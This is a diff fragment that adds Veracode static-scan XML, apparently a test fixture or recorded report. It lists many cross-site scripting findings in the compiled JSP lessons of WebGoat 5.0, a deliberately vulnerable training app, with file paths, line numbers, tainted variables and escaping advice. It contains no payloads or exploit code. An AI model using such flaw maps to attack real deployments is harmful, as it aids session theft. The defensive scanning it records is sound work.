+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
